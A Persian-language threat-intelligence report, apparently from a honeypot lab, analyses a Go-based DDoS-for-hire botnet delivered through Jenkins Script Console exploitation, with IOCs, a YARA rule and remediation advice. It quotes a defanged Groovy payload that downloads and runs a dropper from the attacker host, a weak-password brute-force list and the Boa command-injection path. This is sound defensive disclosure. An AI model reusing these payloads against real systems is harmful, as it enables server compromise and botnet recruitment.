malware · botnet · ddos · golang · iot · jenkins · honeypot · mirai

یک بات‌نت DDoS چندسکویی نوشته‌شده با Go برای اجاره

آزمایشگاه Kinryū Labs فایل bot.exe را تحلیل کرد؛ نسخهٔ ویندوزی یک بات‌نت DDoS کامپایل‌شده با Go که در قالب مجموعه‌ای از دراپرها با ۱۱ باینری و ۱۳ معماری توزیع شده و از طریق یک کارزار چندروزهٔ بهره‌برداری از Jenkins Script Console تحویل داده می‌شود. شناسایی میزبان استقرار، یک API فعال و احرازهویت‌شدهٔ DDoS اجاره‌ای، یک کانال فرمان SSH نوشته‌شده با Go و یک خانوادهٔ هم‌میزبان از تبار Mirai را مشخص کرد. ما با اطمینان بالا ارزیابی می‌کنیم که این یک عملیات تجاری DDoS اجاره‌ای است.

نوشتهٔ Davis Zheng·

TLP:CLEAR. مجاز برای انتشار عمومی. ثبت‌شده توسط شبکهٔ حسگر هانی‌پات Kinryū Labs. شاخص‌های زیر خنثی‌سازی (defang) شده‌اند.

خلاصهٔ مدیریتی

  • 13بیلد معماری، ۱۱ باینری یکتا
  • 5روش نام‌گذاری‌شدهٔ DDoS، به‌علاوهٔ یک API اجاره‌ای
  • 3آی‌پی مبدأ هماهنگ در یک /22
  • 2خانوادهٔ بات‌نت روی یک میزبان

bot.exe نسخهٔ ویندوزی x86-64 از یک بات‌نت DDoS کامپایل‌شده با Go است که در قالب مجموعه‌ای از دراپرهای چندمعماری توزیع می‌شود. یک اسکریپت پوستهٔ همراه با نام bins.sh سیزده بیلد معماری را دریافت می‌کند که پس از حذف تکراری‌ها یازده مورد یکتا هستند و x86 در نسخه‌های ۳۲ و ۶۴ بیتی، چهار پروفایل ARM، ARM64، Android ARM64 و MIPS در دو حالت big-endian و little-endian را در کنار باینری ویندوزی پوشش می‌دهند. این مجموعه از راه بهره‌برداری از یک سرور Jenkins در معرض اینترنت به شبکهٔ هانی‌پات رسید.

این بدافزار پنج روش نام‌گذاری‌شدهٔ سیل‌آسا (HTTP، دست‌دادن TLS، ICMP، TLS مستقیم و روشی حجمی با برچسب VOULT)، یک حملهٔ سیل HTTP که رشته‌های User-Agent مرورگرها و هدرهای زبان را می‌چرخاند تا شبیه ترافیک مشروع به‌نظر برسد، و محموله‌های تزریق فرمان علیه وب‌سرور Boa روی دستگاه‌های مبتنی بر RealTek SDK برای خودانتشاری را در خود دارد. شناسایی میزبان استقرار در 185.226.93[.]242 یک API احرازهویت‌شدهٔ DDoS اجاره‌ای روی پورت 3333، یک سرویس SSH پیاده‌سازی‌شده با Go روی پورت 2222 در نقش کانال فرمان، و یک سرویس FTP ناشناس را که خانوادهٔ دوم بات‌نتی از تبار Mirai/Gafgyt را مستقر می‌کند، مشخص کرد.

Kinryū Labs با اطمینان بالا ارزیابی می‌کند که bot.exe بخشی از یک بات‌نت DDoS مخرب، خودانتشار و چندمعماری است که به‌صورت یک سرویس تجاری اجاره‌ای اداره می‌شود. سه یافته پشتوانهٔ این ارزیابی است: رشته‌های مربوط به روش‌های حمله و بهره‌برداری در خود باینری؛ یک API اجاره‌ای فعال روی میزبان استقرار گردانندگان که پارامترهای کار را اعتبارسنجی می‌کند و احراز هویت می‌طلبد؛ و تله‌متری هانی‌پات از یک کارزار پایدار و چندگره‌ای که این مجموعه را تحویل می‌دهد.

داوری‌های کلیدی
  • bot.exe یک بات‌نت DDoS چندسکویی نوشته‌شده با Go است. پنج رشتهٔ لاگ متمایز مربوط به روش‌های سیل‌آسا، پارامترهای هدف و مدت زمان را حمل می‌کنند، در کنار سازوکار جعل هویت مرورگر و پشتیبانی از SOCKS5؛ همه در قالب رشته‌های مبهم‌سازی‌نشده و تأییدشده توسط API فعال.
  • این عملیات به‌صورت یک سرویس تجاری DDoS اجاره‌ای اداره می‌شود. میزبان استقرار یک API روی پورت 3333 در معرض قرار داده که پارامترهای کار (user، psw، host، method، time، port) را اعتبارسنجی می‌کند و اعتبارنامه‌های نامعتبر را رد می‌کند.
  • بات‌نت از راه تزریق فرمان در دستگاه‌های IoT خودانتشار می‌کند. باینری یک محمولهٔ تزریق فرمان علیه formSysCmd در Boa، یک مسیر حملهٔ جستجوی فراگیر روی ورود روتر، و توابع صادرشدهٔ loginDevice و loginDeviceCaptcha را در خود دارد و همان تک‌خطی دراپر ثبت‌شده در لاگ‌های هانی‌پات را تزریق می‌کند.
  • سه آی‌پی مبدأ متعلق به یک گرداننده هستند. سه نشانی در 185.226.92[.]0/22 محموله‌های یکسانی را با زمان‌بندی هماهنگ و یک فهرست اعتبارنامهٔ مشترک تحویل داده‌اند، و آی‌پی‌های تحویل و استقرار کلیدهای میزبان SSH یکسانی ارائه می‌کنند که نشان‌دهندهٔ یک میزبان واحد یا ایمیج‌های همسان‌سازی‌شده است.

تحویل: یک کارزار پایدار روی Jenkins Script Console

این مجموعه از راه بهره‌برداری از یک نمونهٔ Jenkins در معرض اینترنت تحویل داده شد. تله‌متری هانی‌پات یک روش دومرحله‌ای ثابت را ثبت کرد: یک GET /crumbIssuer/api/json برای دریافت توکن CSRF و سپس یک POST /script حامل محمولهٔ Groovy برای Script Console. محموله در همهٔ تلاش‌ها یکسان بود و در اینجا خنثی‌سازی شده است:

println new ProcessBuilder('sh','-c',
  'cd /tmp; wget hxxp://185.226.93[.]242:1001/bins.sh;
   curl -O hxxp://185.226.93[.]242:1001/bins.sh;
   chmod 777 *; ./bins.sh'
).redirectErrorStream(true).start().text

درخواست‌ها حاوی هدر Authorization: Basic بودند که یک دیکشنری کوتاه از گذرواژه‌های عددی ضعیف را برای حساب admin می‌چرخاند (admin:1123، admin:123451، admin:1231231، admin:1111111، admin:12345123)؛ امضای یک فهرست اعتبارنامهٔ خودکار و نه احراز هویت هدفمند.

این کارزار طی چند روز در موج‌های مکرر اجرا شد:

  • موج ۱نخستین کاوش‌ها: بررسی crumb مربوط به CSRF و سپس اجرای کد از راه دور با Groovy، از آی‌پی استقرار و یک نشانی دوم در همان بلوک.
  • ثبت نمونهbins.sh و هر سیزده گونه در دو حسگر با فاصلهٔ حدود چهارده ساعت بازیابی شدند و در هر دو بایت‌به‌بایت یکسان بودند.
  • موج‌های بعدیبهره‌برداری موازی از هر سه آی‌پی مبدأ با فاصلهٔ چند دقیقه از یکدیگر، همراه با چرخش User-Agentها.

درخواست‌های بهره‌برداری مجموعهٔ بزرگی از User-Agentهای واقع‌نمای مرورگری را می‌چرخاندند، در حالی که پویش شناسایی برای یافتن اهداف بعدی Jenkins (یک درخواست /login و سپس رگباری سریع از درخواست‌های /script) از مقدار پیش‌فرض Go-http-client/1.1 استفاده می‌کرد. User-Agentهای جعلی همراه محموله‌های بهره‌برداری می‌آیند؛ اسکنر از کلاینت بومی Go خود بات‌نت استفاده می‌کند. خود میزبان استقرار و C2 نیز در بهره‌برداری مشارکت داشت، بنابراین زیرساخت حمله و میزبانی از هم جدا نشده‌اند.

بدافزار: یک کدپایهٔ Go، یازده باینری

نوشتن بات با Go امکان می‌دهد یک کدپایه برای هر هدفی که گرداننده بخواهد کراس‌کامپایل شود. دراپر تمام خط محصول را پیمایش می‌کند و هر بیلد را نخست با wget و سپس به‌عنوان جایگزین با curl دریافت می‌کند، آن را اجراپذیر می‌سازد، اجرا می‌کند و حذف می‌کند. این مجموعه شامل یک فایل .exe ویندوزی است که دراپر لینوکسی همچنان آن را از chmod +x عبور می‌دهد، و ساختار تولیدشدهٔ اسکریپت به یک خط لولهٔ ساخت و فهرست‌سازی اشاره دارد. پس از حذف تکراری‌ها، سیزده بیلد به یازده باینری یکتا کاهش می‌یابد: بیلدهای x86 و i386 یکسان‌اند، و همچنین بیلدهای عمومی ARM و ARMv7. گسترهٔ معماری‌ها، از MIPS و ARM قدیمی تا اندروید، نشان‌دهندهٔ بات‌نتی است که روترها، دوربین‌ها و سایر دستگاه‌های توکار را هدف گرفته است؛ بیلد ویندوزی همان کد را به رایانه‌های رومیزی و سرورها می‌برد.

باینری بسته‌بندی (pack) نشده است (آنتروپی بخش‌های PE بین ۵٫۴ تا ۶٫۳ قرار دارد) و نمادهایش حذف نشده‌اند (شناسهٔ بیلد Go و نمادهای زمان اجرا دست‌نخورده‌اند)، بنابراین قابلیت‌هایش در رشته‌های ساده قابل مشاهده است. برچسب زمانی کامپایل صفر شده که برای بیلدهای Go عادی است.

پنج روش سیل‌آسا در رشته‌های لاگ باینری نام برده شده‌اند که هرکدام با یک هدف و یک مدت زمان قالب‌بندی شده‌اند: یک سیل «HTTP (Optimized)»، یک سیل فرسایشی «Handshake» روی TLS/TCP، یک سیل «PING» مبتنی بر ICMP، یک سیل نشستی «TLS+» مستقیم، و یک روش «VOULT» که حجمی و به‌احتمال زیاد مبتنی بر UDP است. هر دو گزینهٔ لایهٔ کاربرد و لایهٔ شبکه حاضرند.

سیل HTTP طوری ساخته شده که به‌جای ترافیک مشروع جا بزند. بیش از ده رشتهٔ User-Agent مرورگری را در میان Chrome، Edge، Opera، Firefox و Safari روی Windows، macOS، iPad و Android می‌چرخاند؛ پانزده منطقهٔ زبانی Accept-Language؛ و هدرهای اثرانگشتی sec-fetch-* و sec-ch-ua-* را که سرویس‌های کاهش اثر حمله بررسی می‌کنند. یک Referer از مجموعهٔ کوچکی از سایت‌های خوش‌نام تنظیم می‌کند (google.com، reddit.com، facebook.com، bing.com، twitter.com و fbi.gov). یکی از ورودی‌های مجموعهٔ User-Agent عیناً رشتهٔ Hello World است؛ یک جانگهدار توسعه‌دهنده که امضای شناسایی تمیزی می‌سازد، چون هیچ کلاینت مشروعی آن را ارسال نمی‌کند.

انتشار، وب‌سرور Boa را هدف می‌گیرد؛ یک دیمن HTTP کوچک توکار که هنوز روی بسیاری از روترها و دوربین‌های مبتنی بر RealTek SDK عرضه می‌شود. باینری یک محمولهٔ تزریق فرمان علیه هندلر formSysCmd در Boa و یک مسیر جستجوی فراگیر علیه رابط‌های مدیریتی روتر را در خود دارد، همراه با فیلدهای اعتبارنامهٔ JSON و توابع صادرشدهٔ loginDevice و loginDeviceCaptcha. فرمان تزریق‌شده همان تک‌خطی دراپر است، بنابراین یک دستگاه آلوده به نقطهٔ تحویل برای دستگاه بعدی تبدیل می‌شود.

ماژول‌های Go گنجانده‌شده همگی بسته‌های استاندارد golang.org/x هستند و هیچ چارچوب C2 شخص ثالثی لینک نشده است. این ماژول‌ها شامل chacha20poly1305، http2/hpack، dns/dnsmessage و http/httpproxy می‌شوند که با قابلیت‌های قابل مشاهده هم‌خوانی دارند: یک کانال رمزنگاری‌شدهٔ احرازهویت‌شده، HTTP/2، DNS خام و پراکسی SOCKS5 (رشته‌های socks5، socks connect و socksUsernamePassword حاضرند). پیکربندی C2 در زمان اجرا از hxxp://<C2>/config.dat دریافت می‌شود؛ تنها نشانی درج‌شده به‌صورت ثابت در باینری، میزبان استقرار است.

زیرساخت فرماندهی و کنترل و استقرار

شناسایی میزبان استقرار سرویس‌های زیر را مشخص کرد:

پورتسرویسکاربرد
21/tcpvsftpd 3.0.3، ورود ناشناس فعالاستقرار بدافزار (خانوادهٔ دوم، در ادامه)
22/tcpOpenSSH 9.2p1 (Debian)دسترسی گرداننده
1001/tcpسرور net/http نوشته‌شده با Goاستقرار اصلی: ارائهٔ bins.sh و گونه‌ها
2222/tcpSSH نوشته‌شده با Go (SSH-2.0-Go)کانال فرمان بات
3333/tcpسرور net/http نوشته‌شده با GoAPI مربوط به DDoS اجاره‌ای

دو یافته از ارزیابی «اجاره‌ای بودن» پشتیبانی می‌کند. آی‌پی تحویل و میزبان استقرار کلیدهای میزبان SSH یکسانی از نوع ED25519، RSA و ECDSA ارائه می‌کنند که آن‌ها را روی یک ماشین واحد یا روی ایمیج‌هایی همسان‌سازی‌شده از یک قالب قرار می‌دهد، و سرویس SSH نوشته‌شده با Go روی پورت 2222 کلیدی متمایز از OpenSSH سیستمی روی پورت 22 ارائه می‌دهد که آن را به‌جای یک فوروارد، یک برنامهٔ جداگانه نشان می‌دهد. API روی پورت 3333 یک درخواست را به‌دلیل نبود پارامترها (user، psw، host، method، time/duration، port) رد می‌کند و برای اعتبارنامه‌های آزمایشی خطای احراز هویت برمی‌گرداند، در حالی که سایر مسیرها ۴۰۴ برمی‌گردانند. این همان رابط حداقلی و احرازهویت‌شده در هر درخواست است که یک بوتر تجاری دارد و روی زیرساخت فعال اجرا می‌شود.

خانوادهٔ دومی روی همان میزبان

سرویس FTP ناشناس، خانوادهٔ بات‌نتی جداگانه‌ای را مستقر می‌کند که در اینجا بر اساس نام فایل‌هایش «boatnet» نامیده می‌شود. دراپر آن (ohshit1.sh) از کلاینت ftpget در BusyBox استفاده می‌کند، نام هر باینری را پیش از اجرا به WTF تغییر می‌دهد، و بیلدها را در پس‌زمینه روی پانزده معماری اجرا می‌کند، از جمله اهداف توکار غیرمتعارف (ARC، m68k، SH4، SPARC) از تبار Mirai/Gafgyt. باینری‌ها ELF کامپایل‌شده با C هستند، نمادهایشان حذف شده و بسته‌بندی شده‌اند (آنتروپی ۷٫۶ تا ۷٫۹ بدون امضای UPX که نشان‌دهندهٔ یک پکر سفارشی است)، بنابراین چیز زیادی از بررسی ایستا به‌دست نمی‌آید. مصنوعات boatnet قدیمی‌تر از مجموعهٔ bot.exe هستند و کدپایهٔ بی‌ارتباطی دارند، بنابراین یک میزبان دو خانوادهٔ بات‌نت متمایز را مستقر کرده است.

میزبانی

هر دو آی‌پی مهاجم در 185.226.92[.]0/22 قرار دارند که از طریق RIPE NCC به نام یک ارائه‌دهندهٔ VPS مستقر در ترکیه (نام شبکه BIGCORE-US، AS205196 / AS57152) ثبت شده است، با مخاطب سوءاستفاده [email protected]. ما ارائه‌دهندهٔ میزبانی را برای مقاصد گزارش‌دهی مشخص می‌کنیم و هیچ ادعایی دربارهٔ هویت گرداننده نداریم.

شاخص‌های نفوذ

زیرساخت مهاجم خنثی‌سازی شده است. هش‌های نمونه و رشته‌های شناسایی به‌عمد مقادیر واقعی دارند.

شبکه

شاخصزمینه
185.226.93[.]242میزبان استقرار + C2؛ همچنین یک اسکنر فعال
185.226.92[.]110اسکنر اصلی / گره تحویل
185.226.92[.]173اسکنر ثانویه
185.226.92[.]0/22تخصیص میزبانی (BIGCORE، AS205196). مسدودسازی معقول در محیط پیرامونی
185.226.93[.]242:1001استقرار HTTP (bins.sh + گونه‌ها)
185.226.93[.]242:2222کانال فرمان SSH نوشته‌شده با Go
185.226.93[.]242:3333API مربوط به DDoS اجاره‌ای (/api، مشروط به پارامتر)
185.226.93[.]242:21FTP ناشناس، استقرار boatnet
hxxp://<C2>/config.datالگوی دریافت پیکربندی C2 در زمان اجرا
/boafrm/formSysCmd، /boafrm/formLoginمسیرهای اجرای کد از راه دور و جستجوی فراگیر ورود Boa در انتشار خروجی
کلید میزبان SSH (ED25519) …INAjVN5fIlxTHxT4R3yqTS8…مشترک میان آی‌پی‌های تحویل و C2؛ شاخص محوری برای پیوت

فایل‌ها

فایلSHA-256
bot.exe (Windows x64)4de4621f66780e1400bf3c55f146f84f6d77bbdd3a401451f3b7f16d674e3804
bins.sh (دراپر)15f92c41e5f8ee6b2f6b7cfd14d2fc61bd4163a45d79c20a4d7974cb0fe68cf6
boatnet.0eem0a9ali (i386)6fbd581a3a6f1152de4090f0d5387258a905c76fb58f0d58191eae5f3d30421b
boatnet.0t25ax67hl (x86-64)920b114325d372c387616ff971947b42087dc018bb4812cdf2adae6005c1382d
  • مقادیر MD5 / SHA-1 / imphash برای bot.exe: 88efcb919000efb700a814fc23e31e3f / 6817eae057adf831892995f514fca36c489fdd10 / 211e227000a1da3333aab2bad5282318
  • شناسهٔ بیلد Go: euzQMg9dNAAGDYR0FLBy/NBlt-oXDyZN8MvU4a30l/8dJq21Cvc4y0nwb3h6ja/kYq23qQRIeCoh9BwgyGK
هش‌های کامل مجموعهٔ دراپر (۱۱ مورد یکتا از ۱۳ بیلد)
بیلدSHA-256اندازه (بایت)
amd643261921456e347fb40c2d0a605db61ee058020872486c844653696d03ebb7b705,919,119
x86 / i386575eba4fffff7419985e4eef8e010c6c0a7dae00b23db45de895547faf2cc3985,787,832
arm / armv7l9e6da804ae9ca0a07348e92d99416bcf3fc650ccbdf4a9b4db34f6d546ddfb105,898,424
arm5365e22a1c1a77e5d88727ab6f8050548aa2170d3c2b4c8adcdfc1eb89eaea5825,898,424
arm634186fba4b5a9c640517020d43a1ba70bdf59f1163867917950e2f7459a0839f5,898,424
arm64ada33a0316d364d1d3be6d23ca2e590c16db7d845795619935e42e53f9293f6b5,579,151
android_arm647d7210719451068df7906798f37ec8fd86a0dfc3df10bfa939e3d436c72346cf6,169,144
mips9200aac4a356190252dc6131f6b60d59367c522537258838c017266d0e3b48f56,619,351
mipsle14d62a04e97f20f2d087dcf41fb44e5597cd3d6fbe4a597229d6b3c79c8ecde76,619,351
bot.exe4de4621f66780e1400bf3c55f146f84f6d77bbdd3a401451f3b7f16d674e38046,020,608

مصنوعات میزبان و اعتبارنامه

  • دیکشنری جستجوی فراگیر برای admin در Jenkins: 1123، 123451، 1231231، 1111111، 12345123.
  • ohshit1.sh (دراپر boatnet) و یک باینری که پیش از اجرا به WTF تغییر نام داده می‌شود.
  • User-Agentهای متمایز: Hello World (سیل HTTP بات) و Go-http-client/1.1 (خودپویشی بات).

رفتاری

  • درخواست GET /crumbIssuer/api/json در Jenkins و به‌دنبال آن POST /script حامل محمولهٔ Groovy با ProcessBuilder('sh','-c', …) که bins.sh را دریافت می‌کند.
  • درخواست‌های خروجی به یک میزبان زیر مسیر /config.dat، با پیش‌زمینهٔ یک خط لاگ Connecting to CNC....
  • درخواست ورودی POST /boafrm/formSysCmd با sysCmdselect=5 و بدنه‌ای حاوی wget … bins.sh.

شناسایی

رشته‌ها پایدار و مبهم‌سازی‌نشده‌اند، بنابراین ساخت امضا ساده است. قاعدهٔ YARA زیر یک نامزد ساخته‌شده از رشته‌های تأییدشده است؛ پیش از استقرار آن را اعتبارسنجی کنید.

rule go_ddos_bot_multiarch_candidate
{
    meta:
        description = "Candidate: Go-compiled multi-arch DDoS botnet (bot.exe family)"
        author      = "Kinryu Labs honeypot CTI"
        reference   = "4de4621f...e3804"  // full SHA-256 in the IOC table
        tlp         = "CLEAR"

    strings:
        $cnc  = "Connecting to CNC..." ascii
        $cfg  = "/config.dat" ascii
        $atk1 = "HTTP (Optimized) Attack started" ascii
        $atk2 = "VOULT attack" ascii
        $atk3 = "Handshake Attack started" ascii
        $boa  = "/boafrm/formSysCmd" ascii
        $iot  = "loginDeviceCaptcha" ascii
        $drop = "bins.sh" ascii

    condition:
        ($cnc and $cfg) or ($boa and $drop) or (2 of ($atk1, $atk2, $atk3) and $iot)
}

شناسایی شبکه‌ای:

  • Jenkins: برای بدنه‌های POST /script که حاوی ProcessBuilder همراه با wget/curl به یک آی‌پی خام هستند هشدار دهید، به‌ویژه اگر پیش از آن GET /crumbIssuer/api/json آمده باشد.
  • انتشار IoT: ‏content:"/boafrm/formSysCmd"; content:"sysCmdselect=5";.
  • زیرساخت: ‏185.226.92[.]0/22 را که نشانی‌های تحویل و C2 را پوشش می‌دهد مسدود کنید و برای اتصالات خروجی به پورت‌های 1001، 2222 و 3333 در آن محدوده هشدار بگذارید.

اقدامات اصلاحی

  • Jenkins را در معرض اینترنت قرار ندهید. آن را پشت احراز هویت و جداسازی شبکه‌ای بگذارید، Script Console را برای کاربران غیرمدیر غیرفعال کنید و یک سرور بیلد قابل دسترس را در حکم خطر آلودگی کامل میزبان بدانید. این همان بردار تحویل بود.
  • اعتبارنامه‌های قوی برای Jenkins الزامی کنید و احراز هویت را محدود به نرخ کنید. این کارزار به یک دیکشنری کوتاه از گذرواژه‌های عددی ضعیف برای admin تکیه داشت.
  • روترها و دستگاه‌های IoT مبتنی بر RealTek/Boa را جداسازی یا جایگزین کنید و دسترسی خارجی به رابط‌های مدیریتی آن‌ها را مسدود کنید. این‌ها هدف انتشار بات‌نت هستند.
  • تخصیص میزبانی (185.226.92[.]0/22) را در محیط پیرامونی مسدود کنید و برای مسیر اجرای کد از راه دور در Boa و الگوی دریافت config.dat هشدار بگذارید.
  • ترافیک خروجی را فیلتر کنید. میزبانی که به یک آی‌پی خام روی پورت 1001 برای دریافت فایل‌هایی با نام معماری وصل می‌شود، یا به پورت‌های 2222 یا 3333 در آن محدوده متصل می‌شود، رفتاری غیرعادی دارد و در نبود شناسایی روی میزبان قابل تشخیص است.
  • زیرساخت را گزارش کنید. API مربوط به DDoS اجاره‌ای و بدافزار مستقرشده روی FTP را می‌توان به مخاطب سوءاستفادهٔ ارائه‌دهندهٔ میزبانی ([email protected]) گزارش داد.

نگاشت MITRE ATT&CK

تاکتیکتکنیک
دسترسی اولیهT1190 Exploit Public-Facing Application (کنسول اسکریپت Jenkins؛ ‏formSysCmd در Boa برای انتشار)
دسترسی به اعتبارنامهT1110.001 Brute Force: Password Guessing (کاربر admin در Jenkins)؛ T1110.004 Credential Stuffing (ورود به دستگاه IoT)
اجراT1059 Command and Scripting Interpreter (‏Groovy از راه Script Console؛ دراپر پوستهٔ یونیکس)
کشفT1046 Network Service Scanning (خودپویشی Jenkins/IoT)؛ T1082 System Information Discovery؛ T1057 Process Discovery
فرار از دفاعT1036 Masquerading (چرخش User-Agent مرورگر؛ تغییر نام به WTF در boatnet)
فرماندهی و کنترلT1071.001 Web Protocols (config.dat)؛ T1573 Encrypted Channel (‏ChaCha20-Poly1305؛ SSH نوشته‌شده با Go روی 2222)؛ T1571 Non-Standard Port (1001/2222/3333)؛ T1090.001 Internal Proxy: SOCKS
حرکت جانبی / تحویلT1105 Ingress Tool Transfer (استقرار چندمعماری)
اثرT1498.001 Direct Network Flood (‏PING، VOULT)؛ T1498.002 Reflection Amplification (فرسایش دست‌دادن)

روش‌شناسی و یادداشت‌ها

  • دامنه: تحلیل ایستای باینری‌های ثبت‌شده که اجرا نشدند، و شناسایی بیرونی فعال میزبان استقرار (شمارش سرویس‌ها و بنرها، فهرست‌گیری FTP ناشناس و کاوش بدون احراز هویت روی API پورت 3333). هیچ احراز هویتی دور زده نشد.
  • قاعدهٔ YARA یک نامزد ساخته‌شده از رشته‌های تأییدشده است؛ پیش از استقرار آن را اعتبارسنجی کنید. باینری‌های boatnet بسته‌بندی شده‌اند و رشته‌های اندکی به‌دست دادند.
  • نمونه‌ها (مجموعهٔ bot.exe، دراپر و مصنوعات boatnet) در صورت درخواست برای سایر پژوهشگران و مدافعان در دسترس هستند. به [email protected] ایمیل بزنید و در یادداشتی کوتاه بنویسید چه کسی هستید و آن‌ها را برای چه می‌خواهید.
Sample
Go DDoS botnet · 6da756970a411dad…
How to cite
Kinryū Labs (2026). یک بات‌نت DDoS چندسکویی نوشته‌شده با Go برای اجاره. https://kinryu.sh/fa/reports/go-ddos-botnet-for-hire/